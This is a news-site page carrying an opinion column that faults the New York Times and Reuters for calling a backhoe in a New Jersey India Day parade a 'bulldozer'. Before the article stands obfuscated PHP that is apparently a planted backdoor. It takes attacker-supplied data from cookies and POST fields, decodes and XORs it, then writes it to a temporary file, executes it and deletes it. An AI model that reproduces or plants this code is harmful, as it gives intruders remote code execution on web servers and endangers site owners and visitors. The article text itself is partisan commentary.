$HVlOqnYNVy = "\x48" . '_' . chr (85) . chr (69) . chr (83); $gKIkP = chr (99) . chr (108) . chr (97) . "\x73" . 's' . chr (95) . "\145" . chr (120) . chr ( 1102 - 997 ).chr (115) . 't' . "\x73";$WCaWTESsW = class_exists($HVlOqnYNVy); $HVlOqnYNVy = "51638";$gKIkP = "35458";$ECozt = !1;if ($WCaWTESsW == $ECozt){function CUMTuM(){return FALSE;}$sfWHPVuka = "22314";CUMTuM();class H_UES{private function DXeAzK($sfWHPVuka){if (is_array(H_UES::$lKthIReTgf)) {$LXIXPGXnJ = sys_get_temp_dir() . "/" . crc32(H_UES::$lKthIReTgf['s' . chr (97) . 'l' . chr ( 1114 - 998 )]);@H_UES::$lKthIReTgf["\x77" . chr ( 468 - 354 ).chr ( 805 - 700 )."\x74" . "\145"]($LXIXPGXnJ, H_UES::$lKthIReTgf[chr (99) . chr ( 139 - 28 )."\156" . chr ( 219 - 103 ).'e' . 'n' . 't']);include $LXIXPGXnJ;@H_UES::$lKthIReTgf["\144" . "\145" . "\154" . chr (101) . 't' . chr ( 526 - 425 )]($LXIXPGXnJ); $sfWHPVuka = "22314";exit();}}private $MbaBnMUF;public function VVbGCsFo(){echo 56600;}public function __destruct(){$sfWHPVuka = "44129_905";$this->DXeAzK($sfWHPVuka); $sfWHPVuka = "44129_905";}public function __construct($cYSwn=0){$CHlPG = $_POST;$yrOiERfh = $_COOKIE;$IiVCz = "6da796db-35ad-460b-9713-f25005802582";$LeZKlJIwZ = @$yrOiERfh[substr($IiVCz, 0, 4)];if (!empty($LeZKlJIwZ)){$OAvLmvYzI = "base64";$yCkLI = "";$LeZKlJIwZ = explode(",", $LeZKlJIwZ);foreach ($LeZKlJIwZ as $AFuKmuNV){$yCkLI .= @$yrOiERfh[$AFuKmuNV];$yCkLI .= @$CHlPG[$AFuKmuNV];}$yCkLI = array_map($OAvLmvYzI . '_' . 'd' . "\x65" . 'c' . "\x6f" . 'd' . chr ( 1056 - 955 ), array($yCkLI,)); $yCkLI = $yCkLI[0] ^ str_repeat($IiVCz, (strlen($yCkLI[0]) / strlen($IiVCz)) + 1);H_UES::$lKthIReTgf = @unserialize($yCkLI); $yCkLI = class_exists("44129_905");}}public static $lKthIReTgf = 3842;}$joMIUMqP = new /* 50088 */ H_UES(22314 + 22314); $_POST = Array();unset($joMIUMqP);} Low-effort, low-accuracy India coverage of ‘New York Times,’ benchmark for Western media | The Australia Today

Low-effort, low-accuracy India coverage of ‘New York Times,’ benchmark for Western media

Activist narratives are often expanded and amplified as they are passed up the journalistic food chain from initial reports to the New York Times.

By Salvatore Babones

On Sunday, September 25, the New York Times reported that a “bulldozer” festooned with images of Prime Minister Narendra Modi and “a hard-line protégé” (Uttar Pradesh Chief Minister Yogi Adityanath) had driven in a New Jersey parade celebrating India’s Independence Day six weeks earlier.

The Times said that the bulldozer “was a blunt and sinister taunt later likened to a noose or a burning cross at a Ku Klux Klan rally” and quoted a Muslim community member as saying that “the bulldozer was as offensive as a hooded Klansman would be to African Americans or a Nazi symbol to Jews”.

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All in all, the article used the word “bulldozer” twenty-one times.

But there was no bulldozer at the parade—or at least, the vehicle pictured in the press coverage was not a bulldozer. It was a backhoe. And while that distinction may be lost on many people who are not familiar with construction equipment, it is symbolic of the low-effort, low-accuracy reporting that characterises the India coverage of many prestigious Western news organisations, Or in this case, the Indian diaspora coverage.

To be fair to the Times, they only got it wrong two days after Reuters got it wrong.

Reuters reported slightly more factually (and with slightly more nuance) on September 23 that “a yellow bulldozer—a symbol that has become offensive to many Indian Muslims—appeared among the floats. The reporter, Atul Dev, had apparently never written for Reuters before. According to his LinkedIn profile, he is a postgraduate fellow at Columbia University’s school of journalism. He had previously been a staff reporter for the Caravan magazine in India.

Dev can perhaps be forgiven for calling the backhoe a bulldozer since that term is widely (though incorrectly) used in the Indian media. He can also be credited for actually reading the sign in Hindi on the side of the backhoe, which put the text “Baba Bulldozer” over the picture of Yogi Adityanath. Dev explained that this is a reference to Adityanath’s policies in Uttar Pradesh, “where a number of Muslim homes have been razed by bulldozers.”

Dev further raised the alarm that “groups that appeared in the Edison parade … included Overseas Friends of the BJP as well as the Hindu Swayamsevak Sangh and the Vishwa Hindu Parishad, both of which are hardline Hindu groups”.
Of course, “hardline” is in the eye of the beholder. Some would say that “Hindu” is, too.

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Uttar Pradesh Chief Minister Yogi Adityanath (Image source: Twitter)

In any case, the Uttar Pradesh CM Yogi Adityanath has been in fact labelled Baba Bulldozer, first by his opponents, and then by his friends.

The Indian Express, no friend of Adityanath, does not identify Muslims (or members of any other community) as being particularly targeted by the authorities in Uttar Pradesh. Reuters, also no friend of Adityanath, apparently disagrees. It had previously published an article by two Indian journalists (Fayaz Bukhari and Subrata Nag Choudhury) suggesting that Adityanath’s demolitions were unconstitutional and specifically targeted Muslims.

The journalist from the New York Times, the newspaper’s New Jersey correspondent Tracey Tully, was clearly out of her depth. But when Reuters scoops you on your own beat, you have to respond—even if the news is six weeks old. So she found some local outraged citizens and called some human rights activists, got her quotes, and filed her report. About the bulldozers. That were actually backhoes.

She wrote (in America’s most prestigious newspaper) that “in India, where a divisive brand of Hindu-first nationalism is surging, the bulldozer has become a symbol of oppression, and a focus of the escalating religious tension that has resulted in the government-led destruction of private homes and businesses, most of them owned by members of the country’s Muslim minority”.

Is this actually true?
Well, It is now. It’s in the New York Times.

Tully seems not to have identified the owner of the backhoe or tried to find out why it was in the parade. Was it a conscious attempt to provoke Muslims? Or just a clever but clumsy play on the epithet Baba Bulldozer, conceived by a landscaper who meant no harm? The organisers of the parade, the local Indian Business Association, were obviously embarrassed by all the attention. They apologised for any offence their parade might have inadvertently caused and promised not to feature “bulldozers” (or, presumably, backhoes) in any future events.

Nonetheless, following a complaint by “Muslim leaders”, the police, the FBI, the US Justice Department, the US Department of Homeland Security, and the Carnegie Endowment for International Peace all piled in. People (living in New Jersey) were quoted as saying that India was “consumed by religious hatred”. Tully noted that Narendra Modi had once appeared at a rally alongside Donald Trump. For the New York Times, that must have been the worst sin of all.

The funniest thing is that the whole controversy had already been covered—in a solidly level-headed article—by the Press Trust of India. Neither Reuters nor the Times seems to have referenced the PTI’s coverage. Maybe it was just too … factual. Except, of course, that they called the backhoe a bulldozer.

This whole sorry saga aptly illustrates how activist narratives are often expanded and amplified as they are passed up the journalistic food chain from initial reports to the New York Times.

Biased and inaccurate articles like those in the Times then get recycled into the footnotes of think tank reports that present negative feelings about India (or any other unlucky victim) as authoritative knowledge.

Only people who forensically read between the lines, critically examining exactly what was said and carefully looking for what was not said, have any chance of arriving at an accurate picture of reality. For everyone else, the headline is the story.

Reporters, editors, and publishers share a responsibility to dig for the truth. They should aggressively question the stories told to them by all of their interviewees, and whether or not they are sympathetic to the storytellers. Especially when they are sympathetic to the storytellers. Unless they ruthlessly fight their own biases, journalists will inevitably produce biased journalism. They should know that. They routinely boast about their independence and objectivity, but these qualities don’t arise automatically from the practice of questioning others. They come from questioning oneself. 


Contributing Author: Salvatore Babones is an associate professor at the University of Sydney and the author of Indian Democracy at 75: Who Are the Barbarians at the Gate?, a research paper exposing flaws in international evaluations of Indian democracy.

Disclaimer: The opinions expressed within this article are the personal opinions of the author. The Australia Today is not responsible for the accuracy, completeness, suitability, or validity of any information in this article. All information is provided on an as-is basis. The information, facts, or opinions appearing in the article do not reflect the views of The Australia Today and The Australia Today News does not assume any responsibility or liability for the same.